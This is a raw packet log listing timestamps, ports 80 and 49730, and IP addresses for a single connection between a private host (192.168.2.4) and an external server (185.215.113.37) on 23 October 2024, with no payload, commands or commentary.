Oct 23, 2024 15:48:21.585835934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585869074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585903883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585905075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585905075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585937023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.585969925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585969925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.585969925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586003065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586035967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586040974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586040974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586101055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586134911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586138964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586138964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586169958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586205959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586205959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586219072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586255074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586287975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586292028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586292028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586322069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586355925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586386919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586389065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586422920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586427927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586427927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586472988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586510897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586510897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586523056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586558104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586591959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586600065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586600065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586625099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586658001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586659908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586659908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586692095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586725950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586728096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586728096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586761951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586796045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586798906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586798906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586831093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586863041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586867094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586867094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586896896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586931944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586935043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586935043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.586963892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.586999893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587002039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587002039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587050915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587050915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587100029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587132931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587148905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587148905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587182999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587214947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587230921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587230921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587248087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587291002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587291002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587297916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587363005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587373972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587423086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587456942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587466955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587466955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587486982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587519884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587528944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587528944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587569952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587574005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587604046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587636948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587644100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587644100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587687969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587723017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587729931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587729931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587755919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587790966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587798119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587798119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587840080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587873936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587882042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587882042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587908030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587940931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587941885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587975979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.587984085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.587984085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588011026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588043928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588051081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588051081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588078022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588112116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588121891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588121891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588145971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588180065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588186979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588187933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588213921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588248014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588254929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588254929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588282108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588315964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588324070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588324070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588352919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588386059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588395119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588395119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588419914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588459969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588460922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588469028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588520050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588561058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588561058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588572025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588608980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588632107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588638067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588670969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588675976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588675976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588721037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588754892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588754892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588788986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588795900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588795900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588823080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588855982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588861942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588861942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588891029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588931084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588931084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.588944912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.588979959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589020967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589020967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589029074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589077950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589111090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589118004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589118004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589144945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589178085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589186907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589186907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589227915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589261055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589267969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589267969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589297056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589345932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589349031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589349031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589379072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589426994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589426994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589427948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589463949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589497089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589500904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589500904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589546919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589581966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589586973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589586973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589613914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589649916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589658022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589658022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589683056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589714050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589715958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589725971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589744091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589786053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589786053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589795113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589828014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589860916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589869976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589869976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589895010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589926958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589945078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589945078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.589961052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.589993954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590002060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590002060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590027094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590060949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590068102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590068102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590095997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590128899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590135098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590135098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590162039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590195894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590202093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590202093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590231895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590265036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590276003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590276003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590300083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590332985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590342045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590342045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590367079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590399981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590408087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590408087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590435982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590468884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590486050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590486050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590502024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590534925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590543032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590543032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590569019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590601921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590609074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590609074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590636015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590670109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590677977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590677977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590703011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590737104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590745926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590745926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590770960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590781927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590804100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590838909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590847015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590847015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590873003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590890884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590908051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590933084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590939999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590974092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.590981007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.590981007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591012955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591048002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591053963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591053963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591079950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591114044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591121912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591121912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591146946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591181040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591187954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591187954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591213942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591248035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591254950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591254950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591281891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591322899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591322899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591334105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591368914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591403008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591411114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591411114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591435909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591469049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591478109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591478109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591502905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591536045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591542959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591542959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591568947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591603041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591610909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591610909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591635942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591670990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591677904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591677904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591703892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591737986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591744900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591744900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591770887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591790915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591804028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591864109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591882944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591917038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591921091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591921091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591949940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.591959000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.591984034 CEST	80	49730	185.215.113.37	192.168.2.4
